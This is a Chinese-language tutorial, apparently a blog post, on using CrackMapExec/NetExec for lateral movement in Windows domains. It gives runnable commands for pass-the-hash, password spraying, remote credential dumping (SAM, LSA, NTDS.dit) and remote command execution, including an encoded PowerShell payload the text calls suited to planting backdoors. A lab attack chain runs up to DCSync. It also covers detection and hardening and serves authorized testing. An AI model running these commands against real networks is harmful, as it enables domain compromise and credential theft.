免责声明本文全部技术内容仅限授权渗透测试、红蓝对抗、安全学习研究使用。未经目标企业书面授权禁止在内网环境执行批量认证探测、哈希传递、远程命令执行、凭证导出等操作未授权访问 Windows 域环境属于违法行为。全部命令均在自建靶场完成演示请勿直接复制到真实业务内网运行。目录1. 前言CrackMapExec (CME/NetExec) 简介与版本说明2. 安装部署、基础通用语法、参数总览2.1 Kali 安装2.2 pip 源码安装最新开发版2.3 CME 基础语法格式3. SMB 模块核心实战445 端口3.1 明文密码域账号批量认证3.2 明文密码本地账号登录必须加 --local-auth4. 多种认证方式明文密码、PTH 哈希传递、PTT 票据传递、本地账号登录4.1 PTH Pass‑the‑Hash 哈希传递最常用4.2 PTT Pass‑the‑Ticket Kerberos 票据传递4.3 密码喷洒 Password Spraying5. SMB 信息枚举共享、会话用户、域策略、用户列表5.1 枚举 SMB 共享列表5.2 枚举目标机器当前已登录会话用户 --loggedon‑users5.3 获取域密码策略 --pass‑pol5.4 SAMR 枚举域内全部用户 --users5.5 枚举本地组用户 --groups6. 凭证导出SAM、LSA、NTDS.dit 完整导出6.1 导出 SAM 本地账号哈希 --sam6.2 导出 LSA 内存机密 --lsa6.3 域控导出 NTDS.dit 完整域哈希 --ntds7. CME 四种远程命令执行方式 smbexec /wmiexec/atexec /mmcexec7.1 smbexec 执行 cmd 命令7.2 wmiexec 执行 powershell 命令7.3 atexec 无回显执行命令8. WinRM、LDAP、MSSQL、RDP 协议模块实战8.1 WinRM 模块5985/5986 端口8.2 LDAP 模块389/636 域控8.3 MSSQL 模块1433 端口8.4 RDP 模块3389 端口9. 强大扩展模块‑M 模块高频模块实战演示9.1 rdp 模块远程开启目标主机 RDP 服务9.2 laps 模块读取 LAPS 本地管理员密码9.3 gmsa 模块读取 GMSA 服务账号密码9.4 spooler 模块检测目标机器 PrintSpooler 打印服务是否开启PetitPotam/SpoolSample9.5 zerologon 模块检测域控是否存在 Zerologon 漏洞10. 完整靶场实战流程拿到一组 NTLM 哈希完成内网批量探测到 DCSync11. CME 高频报错踩坑大全排错思路问题 1STATUS_LOGON_FAILURE 登录失败问题 2认证成功 Pwned但是执行命令返回失败问题 3--ntds 导出 NTDS 失败问题 4模块‑M laps 读取不到 LAPS 密码问题 5smb signing 状态显示 disabled但是 NTLM 中继攻击不成功12. CrackMapExec vs Impacket 工具集优缺点对比13. 蓝队视角CME 行为检测、日志狩猎、防御加固建议13.1 Windows 安全日志关键事件 ID13.2 网络层检测特征13.3 企业 AD 加固建议14. CME 面试高频考点整理15. 全文总结一、网络安全黑客学习路线二、网络安全教程视频三、网络安全CTF实战案例四、网络安全面试题摘要CrackMapExec 简称 CME被称作内网渗透的 “瑞士军刀”是红队在内网域环境最常用 Python 开源工具现在项目更名维护为 NetExec命令几乎完全兼容。CME 可以对网段批量进行 SMB、WinRM、LDAP、MSSQL、RDP 多协议认证测试支持明文密码、NTLM 哈希传递 (PTH)、Kerberos 票据传递 (PTT)实现信息枚举、共享扫描、SAM/NTDS 凭证导出、远程命令执行、加载扩展模块极大简化内网横向移动工作。很多渗透测试人员只会简单执行 smb 批量 pth不理解各个协议模块差异分不清--local-auth本地账号与域账号区别命令执行失败不知道排查 UAC 远程限制、防火墙拦截不会使用扩展模块遇到 LAPS、GMSA 等域新特性无从下手。本文完整讲解 CME 安装部署、基础语法、SMB 核心模块、各类认证方式、信息枚举、凭证转储、多种远程执行方式、其他协议WinRM/LDAP/MSSQL/RDP实战、常用扩展模块、完整靶场实战链路、高频踩坑排错、和 Impacket 工具集对比、蓝队检测防御方案、面试高频考点。读完本文能够独立完成内网批量探测、凭证测试、横向移动整套工作流。MITRE ATTCK 映射T1550.002 哈希传递 Pass‑the‑HashT1550.003 票据传递 Pass‑the‑TicketT1021.002 SMB/Windows 远程服务横向移动T1003.002 SAM 凭证转储T1003.003 NTDS 域数据库转储T1110 密码喷洒 Password SprayingT1047 WMI 执行T1053.005 计划任务执行。1. 前言CrackMapExec (CME/NetExec) 简介与版本说明CrackMapExecCME是 Python 开发内网后渗透工具原仓库已经归档不再更新社区 fork 新项目改名为NetExec命令别名nxc参数几乎完全向下兼容 CME 的命令语法。版本区分重点老版本CrackMapExec执行命令crackmapexec简写cme不再维护存在不少 bug新版本 NetExec命令netexec简写nxc官方持续更新支持 GMSA、LAPS 读取、更多新模块生产实战优先使用 NetExec。本文命令同时兼容两套写 cme 的地方替换成 nxc 即可直接运行。CME 核心能力清单网段批量探测支持 CIDR、IP 列表文件批量对多台主机认证测试多协议支持 SMB、WinRM、LDAP、MSSQL、RDP认证支持明文账号密码、NTLM 哈希 PTH、Kerberos ccache 票据 PTT区分本地账号和域账号信息收集SMB 共享枚举、已登录用户、域密码策略、SAMR 枚举域用户凭证导出远程读取 SAM 哈希、LSA 内存机密、域控 NTDS.dit 导出完整域哈希四种远程命令执行执行器 smbexec、wmiexec、atexec、mmcexec丰富扩展模块‑M开启 RDP、读取 LAPS 密码、GMSA 账号读取等密码喷洒 Password‑Spraying 批量账号密码测试。误区纠正①CME 不是漏洞利用工具它依赖合法账号凭证进行操作利用 Windows 协议本身特性拿到有效账号密码 / 哈希才可以工作②不是所有主机拿到管理员哈希就一定能执行命令Windows UAC 远程限制会拦截非 RID500 本地管理员远程登录③CME 运行在 Linux 攻击机Kali和 Windows 上 Rubeus、Mimikatz 形成互补④Kerberos 模式 PTT 需要本地 krb5 环境配置正确时间同步非常关键。2. 安装部署、基础通用语法、参数总览2.1 Kali 安装新版 NetExec推荐apt update apt install netexec #别名 nxc 等同于 netexec nxc smb -h旧版 CrackMapExec不推荐apt install crackmapexec cme smb -h2.2 pip 源码安装最新开发版pip install netexec2.3 CME 基础语法格式cme 协议 目标 [可选参数]目标支持多种格式单个 IP192.168.10.10CIDR 网段192.168.10.0/24IP 范围192.168.10.10‑30文件导入列表‑iL target.txt每行一个 IP 地址通用高频公共参数参数说明‑u用户名多个用户用逗号分隔支持文件‑u user.txt‑p明文密码多个密码逗号分隔支持文件‑p pass.txt‑HNTLM 哈希格式LM:NT没有 LM 哈希写:NTLMHASH‑d域名域环境填写域名corp.com‑‑local‑auth使用本地账号认证不是域账号访问本机账号 SAM非常重要参数‑k开启 Kerberos 认证 PTT加载本机 KRB5CCNAME 环境变量 ccache 票据‑x执行系统 cmd 命令‑X执行 PowerShell 命令‑M加载扩展模块模块名字‑o给模块传参数‑‑exec‑method指定执行器smbexec/wmiexec/atexec/mmcexec‑iL从文件读取目标 IP 列表‑‑no‑output不输出命令回显执行无回显命令重要提示‑‑local‑auth是新手踩坑重灾区当你登录目标机器本地管理员账号不是域账号必须带上这个参数否则工具会尝试把账号当做域账号去 KDC 认证直接返回登录失败 STATUS_LOGON_FAILURE。3. SMB 模块核心实战445 端口SMB 模块是 CME 使用最多模块对应目标 445 端口。基础探测不提供凭证空会话检测 SMB 版本、操作系统、机器名cme smb 192.168.10.0/24输出会显示每台主机 OS 版本、机器名、签名状态SMB signing 是否开启。SMB signing disabledSMB 签名未开启代表这台机器可以进行 NTLM 中继攻击内网重要风险点。3.1 明文密码域账号批量认证cme smb 192.168.10.0/24 -u administrator -p Admin123 -d corp.com成功认证会输出[]标识标记 Pwned。3.2 明文密码本地账号登录必须加 --local-authcme smb 192.168.10.10 -u Administrator -p Admin123 --local-auth4. 多种认证方式明文密码、PTH 哈希传递、PTT 票据传递、本地账号登录4.1 PTH Pass‑the‑Hash 哈希传递最常用格式‑H LMHASH:NTHASH绝大多数场景没有 LM 哈希直接写:NTHASH冒号不能省略。域账号哈希传递cme smb 192.168.10.0/24 -u administrator -H :58a478135a93ac3bf058a5ea0e8fdb71 -d corp.com本地管理员账号哈希传递必须加 --local-authcme smb 192.168.10.10 -u Administrator -H :58a478135a93ac3bf058a5ea0e8fdb71 --local-authUAC 远程限制坑Windows Vista 及以后非内置 RID500 管理员账号远程 SMB 哈希传递默认会被拦截。只有 SID‑500 内置 Administrator 本地管理员默认不受限制。遇到非 500 账号 PTH 失败这是高频原因。4.2 PTT Pass‑the‑Ticket Kerberos 票据传递使用 Impacket 生成 ccache 票据设置环境变量KRB5CCNAMECME 使用‑k参数读取本地 ccache 票据认证不需要账号密码哈希。export KRB5CCNAMEadministrator.ccache cme smb dc01.corp.com -k -d corp.comPTT 注意攻击机 Kali 系统时间和域控时间误差不能超过 5 分钟Kerberos 严格校验时钟偏差。4.3 密码喷洒 Password Spraying同一个密码批量测试域内大量账号避免账号锁定内网常用。#单个密码遍历user.txt所有账号 cme smb 192.168.10.0/24 -u userlist.txt -p Password123 -d corp.com5. SMB 信息枚举共享、会话用户、域策略、用户列表5.1 枚举 SMB 共享列表拿到有效凭证后--shares列出所有共享区分读写权限cme smb 192.168.10.10 -u administrator -p Admin123 -d corp.com --shares输出结果会标记每个共享 READ/WRITE 权限找可写共享用于上传文件。5.2 枚举目标机器当前已登录会话用户 --loggedon‑users查看目标机器上现在有哪些用户登录会话寻找高价值域管理员会话BloodHound 中 HasSession 对应数据来源。cme smb 192.168.10.10 -u administrator -H :xxxx -d corp.com --loggedon-users需要管理员权限才能完整读取登录会话。5.3 获取域密码策略 --pass‑pol获取域密码长度、锁定阈值、锁定时间做密码喷洒的时候避免批量撞库把账号锁爆。cme smb dc01.corp.com -u lowuser -p Password123 -d corp.com --pass-pol5.4 SAMR 枚举域内全部用户 --users普通域用户权限即可执行枚举域账号清单用于密码喷洒准备用户列表。cme smb dc01.corp.com -u lowuser -p Password123 -d corp.com --users5.5 枚举本地组用户 --groups读取目标机器本地组查看哪些账号属于本地管理员组。cme smb 192.168.10.10 -u administrator -H :xxxx -d corp.com --groups6. 凭证导出SAM、LSA、NTDS.dit 完整导出拿到目标主机管理员凭证CME 可以远程导出各类凭证不需要上传 mimikatz 到目标主机。6.1 导出 SAM 本地账号哈希 --sam导出目标机器本地账号 SAM 哈希windows 本地账号 NTLM 哈希。cme smb 192.168.10.10 -u Administrator -H :xxxx --local-auth --sam6.2 导出 LSA 内存机密 --lsa读取 LSA 内存导出内存保存凭证包括域账号哈希、服务账号密钥等效 mimikatz sekurlsa。cme smb 192.168.10.10 -u administrator -H :xxxx -d corp.com --lsa6.3 域控导出 NTDS.dit 完整域哈希 --ntds域控机器拿到管理员权限远程导出 ntds.dit得到域内全部用户 NTLM 哈希包含 krbtgt 账号哈希等效 impacket‑secretsdump DCSync。cme smb dc01.corp.com -u administrator -H :xxxx -d corp.com --ntdsntds 导出会在目标机器生成临时文件导出完毕自动清理需要域控管理员权限。7. CME 四种远程命令执行方式 smbexec /wmiexec/atexec /mmcexecCME 一共有 4 种不同执行器底层原理不同防火墙拦截情况不一样可以通过--exec-method指定执行器。执行器原理端口特点smbexec创建 admin$ 共享写入临时 bat 脚本服务启动执行445最经典需要 admin(共享开放部分加固环境关闭admin)会失效wmiexecWindows WMI 服务执行命令135 动态 DCOM 端口不需要 admin$防火墙拦截动态端口会失败atexec计划任务 schtasks 创建定时任务执行命令445RPC写入临时任务文件执行自动删除部分 EDR 监控计划任务行为mmcexecMMC 服务执行135比较新执行器规避部分传统检测7.1 smbexec 执行 cmd 命令cme smb 192.168.10.10 -u administrator -H :xxxx -d corp.com -x whoami --exec-method smbexec7.2 wmiexec 执行 powershell 命令‑X大写 X 代表执行 powershell 代码cme smb 192.168.10.10 -u administrator -H :xxxx -d corp.com -X Get‑Process --exec-method wmiexec7.3 atexec 无回显执行命令--no-output不读取命令输出适合放 shell、后门cme smb 192.168.10.10 -u administrator -H :xxxx -d corp.com -x powershell -enc xxxx --exec-method atexec --no-output实战经验如果 smbexec 失败优先切换 wmiexecwmiexec 被防火墙拦截尝试 atexec。很多加固服务器关闭 admin$ 共享smbexec 直接不可用。8. WinRM、LDAP、MSSQL、RDP 协议模块实战8.1 WinRM 模块5985/5986 端口WinRM 也就是 PowerShell Remoting端口 5985 (http)、5986 (https)。拿到账号凭证直接执行命令。#明文 cme winrm 192.168.10.10 -u administrator -p Admin123 -d corp.com -x whoami #哈希传递 cme winrm 192.168.10.10 -u administrator -H :xxxx -d corp.com -x whoami8.2 LDAP 模块389/636 域控LDAP 模块用于查询 AD读取 GMSA 账号、LAPS 信息、枚举委派配合‑M 模块。cme ldap dc01.corp.com -u lowuser -p Password123 -d corp.com #读取GMSA账号密码 cme ldap dc01.corp.com -u admin -H :xxxx -d corp.com -M gmsa8.3 MSSQL 模块1433 端口针对 MSSQL 数据库测试账号、开启 xp_cmdshell 执行系统命令。cme mssql 192.168.10.20 -u sa -p Sql123 -x whoami8.4 RDP 模块3389 端口测试 RDP 账号是否可以登录配合 rdp 模块开启目标机器 RDP 服务。cme rdp 192.168.10.10 -u administrator -p Admin123 -d corp.com9. 强大扩展模块‑M 模块高频模块实战演示NetExec/CME 大量功能靠扩展模块‑M 模块名实现‑o 参数名值给模块传递参数。查看全部模块帮助cme smb -L9.1 rdp 模块远程开启目标主机 RDP 服务拿到管理员权限一键开启 3389 远程桌面开启防火墙放行 RDP 端口。cme smb 192.168.10.10 -u administrator -H :xxxx -d corp.com -M rdp -o ACTIONenable9.2 laps 模块读取 LAPS 本地管理员密码域部署 LAPS有权限账号直接读取主机 LAPS 随机本地管理员密码非常高频内网模块。cme smb 192.168.10.10 -u lapsreader -p Password123 -d corp.com -M laps9.3 gmsa 模块读取 GMSA 服务账号密码读取 GMSA 托管服务账号 NTLM 哈希需要账号拥有读取 msDS‑GroupManagedServiceAccount 属性权限。cme ldap dc01.corp.com -u svc_account -H :xxxx -d corp.com -M gmsa9.4 spooler 模块检测目标机器 PrintSpooler 打印服务是否开启PetitPotam/SpoolSample判断是否可以进行打印机漏洞强制回连攻击。cme smb 192.168.10.10 -u lowuser -p Password123 -d corp.com -M spooler9.5 zerologon 模块检测域控是否存在 Zerologon 漏洞cme smb dc01.corp.com -M zerologon10. 完整靶场实战流程拿到一组 NTLM 哈希完成内网批量探测到 DCSync靶场环境域corp.com域控dc01.corp.com 192.168.10.10网段 192.168.10.0/24已经获取域管理员 administrator NTLM 哈希58a478135a93ac3bf058a5ea0e8fdb71。步骤 1网段批量 SMB 哈希传递探测标记哪些主机 Pwnedcme smb 192.168.10.0/24 -u administrator -H :58a478135a93ac3bf058a5ea0e8fdb71 -d corp.com步骤 2对存活主机枚举共享寻找可写共享cme smb 192.168.10.0/24 -u administrator -H :58a478135a93ac3bf058a5ea0e8fdb71 -d corp.com --shares步骤 3对其中一台业务服务器执行 whoami 测试命令使用 wmiexec 执行器cme smb 192.168.10.20 -u administrator -H :58a478135a93ac3bf058a5ea0e8fdb71 -d corp.com -x whoami --exec-method wmiexec步骤 4访问域控导出 NTDS.dit获取域全部账号哈希DCSync 效果cme smb dc01.corp.com -u administrator -H :58a478135a93ac3bf058a5ea0e8fdb71 -d corp.com --ntds步骤 5拿到 krbtgt 哈希之后可以生成 ccache 黄金票据使用 CME‑k 参数票据传递访问域内其他主机。整套流程全部在 Kali 攻击机完成不需要向目标机器上传任何 exe减少落地文件被 EDR 查杀风险。11. CME 高频报错踩坑大全排错思路问题 1STATUS_LOGON_FAILURE 登录失败排查清单账号密码 / 哈希复制错误哈希格式必须LM:NTLM无 LM 哈希冒号写在前面:ntlmhash登录本地账号没有加--local‑auth工具当成域账号认证UAC 远程限制非 RID‑500 本地管理员账号远程登录被拦截账号被禁用、账号锁定域环境 DNS 解析异常无法解析域控机器名Kerberos 模式下攻击机系统时间和域控时间差距大于 5 分钟。问题 2认证成功 Pwned但是执行命令返回失败admin$ 共享关闭smbexec 执行器失效更换 wmiexec/atexec防火墙拦截 135 端口 DCOMwmiexec 无法工作目标主机杀毒软件 / EDR 拦截命令执行行为当前账号只是普通用户不是本地管理员权限没有权限创建计划任务、访问 admin$。问题 3–ntds 导出 NTDS 失败当前账号不是域控管理员域控防护软件拦截卷影复制快照ntds 导出依赖 vss 快照。问题 4模块‑M laps 读取不到 LAPS 密码账号没有 LAPS 密码读取 AD 对象权限不是工具 bug是 AD ACL 权限限制。问题 5smb signing 状态显示 disabled但是 NTLM 中继攻击不成功目标机器是域控域控默认有防护即使 signing 关闭也会强制启用 SMB 签名。12. CrackMapExec vs Impacket 工具集优缺点对比Impacket 工具集smbclient、wmiexec.py、secretsdump.py、psexec.py和 CME 都是 Kali 上常用工具两者互补。工具优势劣势CME(NetExec)支持网段批量扫描一条命令扫整个 CIRD内置大量扩展模块输出结果友好彩色支持 laps/gmsa适合内网大规模探测单台机器细粒度交互不如 impacket 灵活底层基于 impacket 库开发Impacket单台机器交互强大每一个脚本单独功能secretsdump DCSyncgetTGT 获取票据调试排错信息详细适合单点深度渗透原生不支持网段批量扫描没有大量扩展模块需要自己写循环脚本实战工作流CME 做批量探测快速定位可攻陷主机找到目标之后使用 Impacket 脚本做单点深度操作导出凭证、生成票据。13. 蓝队视角CME 行为检测、日志狩猎、防御加固建议CME 本身没有特殊特征字符串流量基于标准 SMB、WMI、LDAP 协议蓝队检测重点看行为模式而不是工具特征串。13.1 Windows 安全日志关键事件 ID4625大量批量登录失败事件短时间源 IP 对大量主机 SMB 登录失败密码喷洒、哈希爆破特征4624大量来自同一个外部 Linux 源 IP多台主机 4624 成功登录批量 PTH 哈希传递行为4688 进程创建事件看到 wmic、schtasks、bat 临时脚本执行对应 wmiexec、atexec 执行器卷影拷贝 VSS 操作事件攻击者执行‑‑ntds 导出 NTDS.dit 会调用 vss 快照服务。13.2 网络层检测特征同一个源 IP 短时间内向整个内网网段大量 445 端口连接外部非域机器大量 LDAP SAMR 查询枚举域用户列表Linux 主机作为源地址向内网 Windows 发起 SMB 连接内网环境正常业务很少出现。13.3 企业 AD 加固建议开启 SMB 签名SMB Signing防御 NTLM 中继攻击域控强制开启 SMB 签名不要使用相同本地管理员密码批量部署机器阻断大规模 PTH 哈希传递横向部署 LAPS每台主机本地管理员使用随机独立密码监控 4625 登录失败配置账号锁定策略限制普通域用户 SAMR 枚举权限防止攻击者批量拉取全部域账号进行密码喷洒防火墙限制内网跨网段 445、135 端口访问做网络微分段高权限域账号禁止登录普通业务工作站减少 HasSession 攻击面。14. CME 面试高频考点整理CrackMapExec 和 NetExec 关系CrackMapExec 原项目归档停止维护社区 fork 为 NetExec命令参数几乎全部兼容kali 中命令别名 cme/nxc。–local‑auth 参数作用什么时候必须加当登录目标本地账号非域账号必须加该参数不加工具会把用户名提交给域控做域账号认证直接返回登录失败 STATUS_LOGON_FAILURE。CME 有哪四种远程命令执行执行器各自依赖什么端口smbexec 依赖 445 admin(共享wmiexec依赖135 DCOM动态端口atexec依赖445计划任务mmcexec基于MMC服务135端口。smbexec如果服务器关闭admin)共享直接失效。PTH 哈希传递经常失败UAC 远程限制是什么Windows Vista 之后RID 非 500 本地管理员账号远程 SMB 登录会被 UAC 远程限制拦截只有内置 SID‑500 Administrator 账号不受限制。CME --ntds 参数作用需要什么权限域控上远程导出 ntds.dit 域数据库获取域内全部用户哈希等效 DCSync 攻击需要域管理员权限。CME 支持 Kerberos PTT 票据传递的条件攻击机 Kali 设置 KRB5CCNAME 环境变量指向 ccache 票据使用‑k 参数攻击机系统时间必须和域控时间同步。CME 与 Impacket 对比分别适合什么场景CME 适合网段批量探测扫描整个内网 CIDR内置大量扩展模块Impacket 适合单台机器深度精细化操作。CME 底层就是封装 Impacket 库。‑M laps 模块的作用读取域 LAPS 存储的主机随机本地管理员密码前提当前账号拥有读取 LAPS AD 属性权限。怎么检测内网存在 CME 批量 PTH 攻击日志看同一个外部源 IP 短时间大量 4624 登录成功事件网络层观察大量 445 端口批量连接行为。SMB signing disabled 代表什么风险SMB 签名未开启存在 NTLM Relay 中继攻击风险攻击者可以中继 NTLM 认证获取机器权限。15. 全文总结CrackMapExecNetExec是红队内网渗透必不可少工具极大提升内网横向移动效率熟练掌握可以快速完成批量凭证探测、信息枚举、凭证导出、命令执行整套工作流。基础语法cme 协议 目标IP/CIDR牢记‑‑local‑auth本地账号参数是新手高频踩坑点SMB 模块 445 端口是核心支持明文、PTH 哈希传递、Kerberos PTT 票据传递三种认证信息枚举可以批量拿共享、登录会话、域密码策略、域用户列表凭证导出功能远程获取 SAM、LSA、NTDS.dit不需要上传 mimikatz 到目标主机四种执行器 smbexec/wmiexec/atexec/mmcexec不同服务器加固环境切换使用admin$ 关闭时 smbexec 失效扩展模块‑M 非常强大可以开启 RDP、读取 LAPS 密码、读取 GMSA 账号、检测打印服务漏洞实战流程CME 批量扫描定位存活可访问主机之后结合 Impacket 做单点深度操作两者互相配合。排错重点哈希格式、local‑auth、UAC 远程限制、admin$ 共享状态、时间同步、账号权限。蓝队防御开启 SMB 签名部署 LAPS网络微分段监控大量 445 批量连接与 4625/4624 登录事件。再次声明本文所有技术仅限授权红蓝对抗安全学习严禁未授权在内网执行批量探测与攻击操作。以上就是今天的分享觉得有帮助记得点赞收藏以上所说到的漏洞扫描工具都整理成压缩包了朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】同时还为准备学习网络安全黑客或者正在学习整理了一套360独家内部资料包含以下内容如有需要也可文末获取①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】